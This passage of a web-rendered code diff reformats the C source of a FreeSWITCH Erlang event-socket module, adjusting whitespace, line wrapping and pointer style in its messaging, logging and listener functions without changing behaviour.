</span><del>-                switch_yield(10000); /* 10ms */
</del><ins>+                switch_yield(10000);        /* 10ms */
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         rep = (ei_x_buff *) p;
</span><span class="cx"> 
</span><span class="cx">         ei_get_type(rep-&gt;buff, &amp;rep-&gt;index, &amp;type, &amp;size);
</span><span class="cx"> 
</span><del>-        if (type != ERL_STRING_EXT &amp;&amp; type != ERL_BINARY_EXT) { /* XXX no unicode or character codes &gt; 255 */
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;XML fetch response contained non ASCII characters? (was type %d of size %d)\n&quot;, type, size);
</del><ins>+        if (type != ERL_STRING_EXT &amp;&amp; type != ERL_BINARY_EXT) {        /* XXX no unicode or character codes &gt; 255 */
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;XML fetch response contained non ASCII characters? (was type %d of size %d)\n&quot;, type,
+                                                  size);
</ins><span class="cx">                 return NULL;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!(xmlstr = malloc(size + 1))) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, &quot;Memory Error\n&quot;);
</span><span class="cx">                 return NULL;
</span><span class="lines">@@ -453,7 +458,7 @@
</span><span class="cx"> 
</span><span class="cx">         ei_decode_string_or_binary(rep-&gt;buff, &amp;rep-&gt;index, size, xmlstr);
</span><span class="cx"> 
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;got data %s after %d milliseconds!\n&quot;, xmlstr, i*10);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;got data %s after %d milliseconds!\n&quot;, xmlstr, i * 10);
</ins><span class="cx"> 
</span><span class="cx">         if (zstr(xmlstr)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;No Result\n&quot;);
</span><span class="lines">@@ -476,14 +481,14 @@
</span><span class="cx"> {
</span><span class="cx">         int result;
</span><span class="cx">         switch_core_session_t *session;
</span><del>-        switch_event_t *call_event=NULL;
-        switch_channel_t *channel=NULL;
</del><ins>+        switch_event_t *call_event = NULL;
+        switch_channel_t *channel = NULL;
</ins><span class="cx">         ei_x_buff lbuf;
</span><span class="cx"> 
</span><span class="cx">         /* Send a message to the associated registered process to let it know there is a call.
</span><span class="cx">            Message is a tuple of the form {call, &lt;call-event&gt;}
</span><del>-        */
-        
</del><ins>+         */
+
</ins><span class="cx">         if (switch_event_create(&amp;call_event, SWITCH_EVENT_CHANNEL_DATA) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element-&gt;uuid_str), SWITCH_LOG_CRIT, &quot;Memory Error!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_MEMERR;
</span><span class="lines">@@ -501,39 +506,41 @@
</span><span class="cx">         switch_core_session_rwunlock(session);
</span><span class="cx">         switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, &quot;Content-Type&quot;, &quot;command/reply&quot;);
</span><span class="cx">         switch_event_add_header_string(call_event, SWITCH_STACK_BOTTOM, &quot;Reply-Text&quot;, &quot;+OK\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         ei_x_new_with_version(&amp;lbuf);
</span><span class="cx">         ei_x_encode_tuple_header(&amp;lbuf, 2);
</span><span class="cx">         ei_x_encode_atom(&amp;lbuf, &quot;call&quot;);
</span><span class="cx">         ei_encode_switch_event(&amp;lbuf, call_event);
</span><span class="cx">         switch_mutex_lock(listener-&gt;sock_mutex);
</span><del>-        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;Sending initial call event for %s\n&quot;, session_element-&gt;uuid_str);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;Sending initial call event for %s\n&quot;,
+                                          session_element-&gt;uuid_str);
</ins><span class="cx">         result = ei_sendto(listener-&gt;ec, listener-&gt;sockfd, &amp;session_element-&gt;process, &amp;lbuf);
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(listener-&gt;sock_mutex);
</span><span class="cx"> 
</span><span class="cx">         if (result) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element-&gt;uuid_str), SWITCH_LOG_ERROR, &quot;Failed to send call event for %s\n&quot;, session_element-&gt;uuid_str);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_UUID_LOG(session_element-&gt;uuid_str), SWITCH_LOG_ERROR, &quot;Failed to send call event for %s\n&quot;,
+                                                  session_element-&gt;uuid_str);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         ei_x_free(&amp;lbuf);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t check_attached_sessions(listener_t *listener)
</span><span class="cx"> {
</span><del>-        session_elem_t *last,*sp, *removed;
</del><ins>+        session_elem_t *last, *sp, *removed;
</ins><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><span class="cx">         void *pop;
</span><span class="cx">         /* check up on all the attached sessions -
</span><span class="cx">            if they have not yet sent an initial call event to the associated erlang process then do so
</span><span class="cx">            if they have pending events in their queues then send them
</span><span class="cx">            if the session has finished then clean it up
</span><del>-        */
</del><ins>+         */
</ins><span class="cx">         switch_mutex_lock(listener-&gt;session_mutex);
</span><span class="cx">         sp = listener-&gt;session_list;
</span><span class="cx">         last = NULL;
</span><del>-        while(sp) {
</del><ins>+        while (sp) {
</ins><span class="cx">                 removed = NULL;
</span><span class="cx">                 if (switch_test_flag(sp, LFLAG_WAITING_FOR_PID)) {
</span><span class="cx">                         sp = sp-&gt;next;
</span><span class="lines">@@ -561,11 +568,11 @@
</span><span class="cx">                         while (switch_queue_trypop(sp-&gt;event_queue, &amp;pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_event_t *pevent = (switch_event_t *) pop;
</span><span class="cx"> 
</span><del>-                                /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;flushed event %s for %s\n&quot;, switch_event_name(pevent-&gt;event_id), sp-&gt;uuid_str);*/
</del><ins>+                                /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;flushed event %s for %s\n&quot;, switch_event_name(pevent-&gt;event_id), sp-&gt;uuid_str); */
</ins><span class="cx"> 
</span><span class="cx">                                 /* events from attached sessions are wrapped in a {call_event,&lt;EVT&gt;} tuple 
</span><span class="cx">                                    to distinguish them from normal events (if they are sent to the same process)
</span><del>-                                */
</del><ins>+                                 */
</ins><span class="cx"> 
</span><span class="cx">                                 ei_x_new_with_version(&amp;ebuf);
</span><span class="cx">                                 ei_x_encode_tuple_header(&amp;ebuf, 2);
</span><span class="lines">@@ -579,7 +586,8 @@
</span><span class="cx">                                 switch_event_destroy(&amp;pevent);
</span><span class="cx">                         }
</span><span class="cx">                         /* this session can be removed */
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;Destroy event for attached session for %s in state %s\n&quot;, sp-&gt;uuid_str, switch_channel_state_name(sp-&gt;channel_state));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;Destroy event for attached session for %s in state %s\n&quot;,
+                                                          sp-&gt;uuid_str, switch_channel_state_name(sp-&gt;channel_state));
</ins><span class="cx"> 
</span><span class="cx">                         ei_x_new_with_version(&amp;ebuf);
</span><span class="cx">                         ei_x_encode_atom(&amp;ebuf, &quot;call_hangup&quot;);
</span><span class="lines">@@ -598,8 +606,8 @@
</span><span class="cx">                         /* check event queue for this session */
</span><span class="cx">                         switch_event_t *pevent = (switch_event_t *) pop;
</span><span class="cx"> 
</span><del>-                        /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;popped event %s for %s\n&quot;, switch_event_name(pevent-&gt;event_id), sp-&gt;uuid_str);*/
-                        
</del><ins>+                        /*switch_log_printf(SWITCH_CHANNEL_UUID_LOG(sp-&gt;uuid_str), SWITCH_LOG_DEBUG, &quot;popped event %s for %s\n&quot;, switch_event_name(pevent-&gt;event_id), sp-&gt;uuid_str); */
+
</ins><span class="cx">                         /* events from attached sessions are wrapped in a {call_event,&lt;EVT&gt;} tuple 
</span><span class="cx">                            to distinguish them from normal events (if they are sent to the same process)
</span><span class="cx">                          */
</span><span class="lines">@@ -609,7 +617,7 @@
</span><span class="cx">                         ei_x_encode_tuple_header(&amp;ebuf, 2);
</span><span class="cx">                         ei_x_encode_atom(&amp;ebuf, &quot;call_event&quot;);
</span><span class="cx">                         ei_encode_switch_event(&amp;ebuf, pevent);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_mutex_lock(listener-&gt;sock_mutex);
</span><span class="cx">                         ei_sendto(listener-&gt;ec, listener-&gt;sockfd, &amp;sp-&gt;process, &amp;ebuf);
</span><span class="cx">                         switch_mutex_unlock(listener-&gt;sock_mutex);
</span><span class="lines">@@ -621,7 +629,7 @@
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_unlock(listener-&gt;session_mutex);
</span><span class="cx">         if (prefs.done) {
</span><del>-                return SWITCH_STATUS_FALSE; /* we're shutting down */
</del><ins>+                return SWITCH_STATUS_FALSE;        /* we're shutting down */
</ins><span class="cx">         } else {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -635,34 +643,34 @@
</span><span class="cx">         if (switch_test_flag(listener, LFLAG_LOG)) {
</span><span class="cx">                 if (switch_queue_trypop(listener-&gt;log_queue, &amp;pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_node_t *dnode = (switch_log_node_t *) pop;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (dnode-&gt;data) {
</span><span class="cx">                                 ei_x_buff lbuf;
</span><span class="cx">                                 ei_x_new_with_version(&amp;lbuf);
</span><span class="cx">                                 ei_x_encode_tuple_header(&amp;lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&amp;lbuf, &quot;log&quot;);
</span><span class="cx">                                 ei_x_encode_list_header(&amp;lbuf, 7);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&amp;lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&amp;lbuf, &quot;level&quot;);
</span><del>-                                ei_x_encode_char(&amp;lbuf, (unsigned char)dnode-&gt;level);
-                                
</del><ins>+                                ei_x_encode_char(&amp;lbuf, (unsigned char) dnode-&gt;level);
+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&amp;lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&amp;lbuf, &quot;text_channel&quot;);
</span><del>-                                ei_x_encode_char(&amp;lbuf, (unsigned char)dnode-&gt;level);
-                                
</del><ins>+                                ei_x_encode_char(&amp;lbuf, (unsigned char) dnode-&gt;level);
+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&amp;lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&amp;lbuf, &quot;file&quot;);
</span><span class="cx">                                 ei_x_encode_string(&amp;lbuf, dnode-&gt;file);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&amp;lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&amp;lbuf, &quot;func&quot;);
</span><span class="cx">                                 ei_x_encode_string(&amp;lbuf, dnode-&gt;func);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&amp;lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&amp;lbuf, &quot;line&quot;);
</span><del>-                                ei_x_encode_ulong(&amp;lbuf, (unsigned long)dnode-&gt;line);
-                                
</del><ins>+                                ei_x_encode_ulong(&amp;lbuf, (unsigned long) dnode-&gt;line);
+
</ins><span class="cx">                                 ei_x_encode_tuple_header(&amp;lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&amp;lbuf, &quot;data&quot;);
</span><span class="cx">                                 ei_x_encode_string(&amp;lbuf, dnode-&gt;data);
</span><span class="lines">@@ -670,13 +678,13 @@
</span><span class="cx">                                 ei_x_encode_tuple_header(&amp;lbuf, 2);
</span><span class="cx">                                 ei_x_encode_atom(&amp;lbuf, &quot;user_data&quot;);
</span><span class="cx">                                 ei_x_encode_string(&amp;lbuf, switch_str_nil(dnode-&gt;userdata));
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ei_x_encode_empty_list(&amp;lbuf);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_mutex_lock(listener-&gt;sock_mutex);
</span><span class="cx">                                 ei_sendto(listener-&gt;ec, listener-&gt;sockfd, &amp;listener-&gt;log_process, &amp;lbuf);
</span><span class="cx">                                 switch_mutex_unlock(listener-&gt;sock_mutex);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 ei_x_free(&amp;lbuf);
</span><span class="cx">                                 switch_log_node_free(&amp;dnode);
</span><span class="cx">                         }
</span><span class="lines">@@ -686,19 +694,19 @@
</span><span class="cx"> 
</span><span class="cx"> static void check_event_queue(listener_t *listener)
</span><span class="cx"> {
</span><del>-        void* pop;
</del><ins>+        void *pop;
</ins><span class="cx"> 
</span><span class="cx">         /* send out any pending crap in the event queue */
</span><span class="cx">         if (switch_test_flag(listener, LFLAG_EVENTS)) {
</span><span class="cx">                 if (switch_queue_trypop(listener-&gt;event_queue, &amp;pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx"> 
</span><span class="cx">                         switch_event_t *pevent = (switch_event_t *) pop;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         ei_x_buff ebuf;
</span><span class="cx">                         ei_x_new_with_version(&amp;ebuf);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         ei_encode_switch_event(&amp;ebuf, pevent);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_mutex_lock(listener-&gt;sock_mutex);
</span><span class="cx">                         ei_sendto(listener-&gt;ec, listener-&gt;sockfd, &amp;listener-&gt;event_process, &amp;ebuf);
</span><span class="cx">                         switch_mutex_unlock(listener-&gt;sock_mutex);
</span><span class="lines">@@ -709,17 +717,16 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void handle_exit(listener_t *listener, erlang_pid *pid)
</del><ins>+static void handle_exit(listener_t *listener, erlang_pid * pid)
</ins><span class="cx"> {
</span><span class="cx">         session_elem_t *s;
</span><span class="cx"> 
</span><del>-        remove_binding(NULL, pid); /* TODO - why don't we pass the listener as the first argument? */
</del><ins>+        remove_binding(NULL, pid);        /* TODO - why don't we pass the listener as the first argument? */
</ins><span class="cx">         if ((s = find_session_elem_by_pid(listener, pid))) {
</span><span class="cx">                 if (s-&gt;channel_state &lt; CS_HANGUP) {
</span><span class="cx">                         switch_core_session_t *session;
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s-&gt;uuid_str), SWITCH_LOG_WARNING, &quot;Outbound session for %s exited unexpectedly!\n&quot;,
-                                        s-&gt;uuid_str);
-                        
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_UUID_LOG(s-&gt;uuid_str), SWITCH_LOG_WARNING, &quot;Outbound session for %s exited unexpectedly!\n&quot;, s-&gt;uuid_str);
+
</ins><span class="cx">                         if ((session = switch_core_session_locate(s-&gt;uuid_str))) {
</span><span class="cx">                                 switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">                                 switch_channel_set_private(channel, &quot;_erlang_session_&quot;, NULL);
</span><span class="lines">@@ -771,7 +778,7 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static void listener_main_loop(listener_t *listener) 
</del><ins>+static void listener_main_loop(listener_t *listener)
</ins><span class="cx"> {
</span><span class="cx">         int status = 1;
</span><span class="cx"> 
</span><span class="lines">@@ -779,72 +786,73 @@
</span><span class="cx">                 erlang_msg msg;
</span><span class="cx">                 ei_x_buff buf;
</span><span class="cx">                 ei_x_buff rbuf;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 ei_x_new(&amp;buf);
</span><span class="cx">                 ei_x_new_with_version(&amp;rbuf);
</span><span class="cx"> 
</span><span class="cx">                 /* do we need the mutex when reading? */
</span><del>-                /*switch_mutex_lock(listener-&gt;sock_mutex);*/
</del><ins>+                /*switch_mutex_lock(listener-&gt;sock_mutex); */
</ins><span class="cx">                 status = ei_xreceive_msg_tmo(listener-&gt;sockfd, &amp;msg, &amp;buf, 100);
</span><del>-                /*switch_mutex_unlock(listener-&gt;sock_mutex);*/
</del><ins>+                /*switch_mutex_unlock(listener-&gt;sock_mutex); */
</ins><span class="cx"> 
</span><del>-                switch(status) {
-                        case ERL_TICK :
-                                break;
-                        case ERL_MSG :
-                                switch(msg.msgtype) {
-                                        case ERL_SEND :
</del><ins>+                switch (status) {
+                case ERL_TICK:
+                        break;
+                case ERL_MSG:
+                        switch (msg.msgtype) {
+                        case ERL_SEND:
</ins><span class="cx"> #ifdef EI_DEBUG
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_send\n&quot;);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_send\n&quot;);
</ins><span class="cx"> 
</span><del>-                                                ei_x_print_msg(&amp;buf, &amp;msg.from, 0);
-                                                /*ei_s_print_term(&amp;pbuf, buf.buff, &amp;i);*/
-                                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_send was message %s\n&quot;, pbuf);*/
</del><ins>+                                ei_x_print_msg(&amp;buf, &amp;msg.from, 0);
+                                /*ei_s_print_term(&amp;pbuf, buf.buff, &amp;i); */
+                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_send was message %s\n&quot;, pbuf); */
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-                                                if (handle_msg(listener, &amp;msg, &amp;buf, &amp;rbuf)) {
-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;handle_msg requested exit\n&quot;);
-                                                        return;
-                                                }
-                                                break;
-                                        case ERL_REG_SEND :
</del><ins>+                                if (handle_msg(listener, &amp;msg, &amp;buf, &amp;rbuf)) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;handle_msg requested exit\n&quot;);
+                                        return;
+                                }
+                                break;
+                        case ERL_REG_SEND:
</ins><span class="cx"> #ifdef EI_DEBUG
</span><del>-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_reg_send to %s\n&quot;, msg.toname);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_reg_send to %s\n&quot;, msg.toname);
</ins><span class="cx"> 
</span><del>-                                                ei_x_print_reg_msg(&amp;buf, msg.toname, 0);
-                                                /*i = 1;*/
-                                                /*ei_s_print_term(&amp;pbuf, buf.buff, &amp;i);*/
-                                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_reg_send was message %s\n&quot;, pbuf);*/
</del><ins>+                                ei_x_print_reg_msg(&amp;buf, msg.toname, 0);
+                                /*i = 1; */
+                                /*ei_s_print_term(&amp;pbuf, buf.buff, &amp;i); */
+                                /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_reg_send was message %s\n&quot;, pbuf); */
</ins><span class="cx"> #endif
</span><span class="cx"> 
</span><del>-                                                if (handle_msg(listener, &amp;msg, &amp;buf, &amp;rbuf)) {
-                                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;handle_msg requested exit\n&quot;);
-                                                    return;
-                                                }
-                                                break;
-                                        case ERL_LINK :
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_link\n&quot;);
-                                                break;
-                                        case ERL_UNLINK :
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_unlink\n&quot;);
-                                                break;
-                                        case ERL_EXIT :
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_exit from %s &lt;%d.%d.%d&gt;\n&quot;, msg.from.node, msg.from.creation, msg.from.num, msg.from.serial);
-                                                handle_exit(listener, &amp;msg.from);
-                                                break;
-                                        default :
-                                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;unexpected msg type %d\n&quot;, (int)(msg.msgtype));
-                                                break;
</del><ins>+                                if (handle_msg(listener, &amp;msg, &amp;buf, &amp;rbuf)) {
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;handle_msg requested exit\n&quot;);
+                                        return;
</ins><span class="cx">                                 }
</span><span class="cx">                                 break;
</span><del>-                        case ERL_ERROR :
-                                if (erl_errno != ETIMEDOUT &amp;&amp; erl_errno != EAGAIN) {
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_error\n&quot;);
-                                }
</del><ins>+                        case ERL_LINK:
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_link\n&quot;);
</ins><span class="cx">                                 break;
</span><del>-                        default :
-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;unexpected status %d \n&quot;, status);
</del><ins>+                        case ERL_UNLINK:
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_unlink\n&quot;);
</ins><span class="cx">                                 break;
</span><ins>+                        case ERL_EXIT:
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_exit from %s &lt;%d.%d.%d&gt;\n&quot;, msg.from.node, msg.from.creation, msg.from.num,
+                                                                  msg.from.serial);
+                                handle_exit(listener, &amp;msg.from);
+                                break;
+                        default:
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;unexpected msg type %d\n&quot;, (int) (msg.msgtype));
+                                break;
+                        }
+                        break;
+                case ERL_ERROR:
+                        if (erl_errno != ETIMEDOUT &amp;&amp; erl_errno != EAGAIN) {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;erl_error\n&quot;);
+                        }
+                        break;
+                default:
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;unexpected status %d \n&quot;, status);
+                        break;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 ei_x_free(&amp;buf);
</span><span class="lines">@@ -859,7 +867,7 @@
</span><span class="cx">         }
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static switch_bool_t check_inbound_acl(listener_t* listener)
</del><ins>+static switch_bool_t check_inbound_acl(listener_t *listener)
</ins><span class="cx"> {
</span><span class="cx">         /* check acl to see if inbound connection is allowed */
</span><span class="cx">         if (prefs.acl_count &amp;&amp; !zstr(listener-&gt;remote_ip)) {
</span><span class="lines">@@ -906,7 +914,7 @@
</span><span class="cx"> static void *SWITCH_THREAD_FUNC listener_run(switch_thread_t *thread, void *obj)
</span><span class="cx"> {
</span><span class="cx">         listener_t *listener = (listener_t *) obj;
</span><del>-        session_elem_t* s;
</del><ins>+        session_elem_t *s;
</ins><span class="cx">         switch_core_session_t *session;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><span class="lines">@@ -921,11 +929,11 @@
</span><span class="cx">                 if (zstr(listener-&gt;remote_ip)) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Connection Open\n&quot;);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Connection Open from %s\n&quot;, listener-&gt;remote_ip);/*, listener-&gt;remote_port);*/
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Connection Open from %s\n&quot;, listener-&gt;remote_ip);        /*, listener-&gt;remote_port); */
</ins><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 add_listener(listener);
</span><del>-                  listener_main_loop(listener);
</del><ins>+                listener_main_loop(listener);
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         /* clean up */
</span><span class="lines">@@ -934,7 +942,7 @@
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;Session complete, waiting for children\n&quot;);
</span><span class="cx"> 
</span><span class="cx">         switch_thread_rwlock_wrlock(listener-&gt;rwlock);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (listener-&gt;sockfd) {
</span><span class="cx">                 close_socket(&amp;listener-&gt;sockfd);
</span><span class="cx">         }
</span><span class="lines">@@ -949,7 +957,7 @@
</span><span class="cx"> 
</span><span class="cx">         /* clean up all the attached sessions */
</span><span class="cx">         switch_mutex_lock(listener-&gt;session_mutex);
</span><del>-        /* TODO destroy memory pools since they're not children of the listener's pool*/
</del><ins>+        /* TODO destroy memory pools since they're not children of the listener's pool */
</ins><span class="cx">         for (s = listener-&gt;session_list; s; s = s-&gt;next) {
</span><span class="cx">                 if ((session = switch_core_session_locate(s-&gt;uuid_str))) {
</span><span class="cx">                         switch_channel_clear_flag(switch_core_session_get_channel(session), CF_CONTROLLED);
</span><span class="lines">@@ -1020,7 +1028,7 @@
</span><span class="cx">                                         else
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Invalid compatability release '%s' specified\n&quot;, val);
</span><span class="cx">                                 } else if (!strcmp(var, &quot;shortname&quot;)) {
</span><del>-                                                prefs.shortname = switch_true(val);
</del><ins>+                                        prefs.shortname = switch_true(val);
</ins><span class="cx">                                 } else if (!strcmp(var, &quot;encoding&quot;)) {
</span><span class="cx">                                         if (!strcasecmp(val, &quot;string&quot;)) {
</span><span class="cx">                                                 prefs.encoding = ERLANG_STRING;
</span><span class="lines">@@ -1061,10 +1069,10 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static listener_t* new_listener(struct ei_cnode_s *ec, int clientfd)
</del><ins>+static listener_t *new_listener(struct ei_cnode_s *ec, int clientfd)
</ins><span class="cx"> {
</span><span class="cx">         switch_memory_pool_t *listener_pool = NULL;
</span><del>-        listener_t* listener = NULL;
</del><ins>+        listener_t *listener = NULL;
</ins><span class="cx"> 
</span><span class="cx">         if (switch_core_new_memory_pool(&amp;listener_pool) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;OH OH no pool\n&quot;);
</span><span class="lines">@@ -1080,7 +1088,7 @@
</span><span class="cx">         switch_thread_rwlock_create(&amp;listener-&gt;rwlock, listener_pool);
</span><span class="cx">         switch_queue_create(&amp;listener-&gt;event_queue, SWITCH_CORE_QUEUE_LEN, listener_pool);
</span><span class="cx">         switch_queue_create(&amp;listener-&gt;log_queue, SWITCH_CORE_QUEUE_LEN, listener_pool);
</span><del>-                
</del><ins>+
</ins><span class="cx">         listener-&gt;sockfd = clientfd;
</span><span class="cx">         listener-&gt;pool = listener_pool;
</span><span class="cx">         listener_pool = NULL;
</span><span class="lines">@@ -1095,24 +1103,24 @@
</span><span class="cx">         return listener;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static listener_t* new_outbound_listener(char* node)
</del><ins>+static listener_t *new_outbound_listener(char *node)
</ins><span class="cx"> {
</span><del>-        listener_t* listener = NULL;
</del><ins>+        listener_t *listener = NULL;
</ins><span class="cx">         struct ei_cnode_s ec;
</span><span class="cx">         int clientfd;
</span><span class="cx"> 
</span><del>-        if (SWITCH_STATUS_SUCCESS==initialise_ei(&amp;ec)) {
</del><ins>+        if (SWITCH_STATUS_SUCCESS == initialise_ei(&amp;ec)) {
</ins><span class="cx"> #ifdef WIN32
</span><span class="cx">                 WSASetLastError(0);
</span><span class="cx"> #else
</span><span class="cx">                 errno = 0;
</span><span class="cx"> #endif
</span><del>-                if ((clientfd=ei_connect(&amp;ec,node)) &lt; 0) {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error connecting to node %s (erl_errno=%d, errno=%d)!\n&quot;,node,erl_errno,errno);
</del><ins>+                if ((clientfd = ei_connect(&amp;ec, node)) &lt; 0) {
+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Error connecting to node %s (erl_errno=%d, errno=%d)!\n&quot;, node, erl_errno, errno);
</ins><span class="cx">                         return NULL;
</span><span class="cx">                 }
</span><del>-                listener = new_listener(&amp;ec,clientfd);
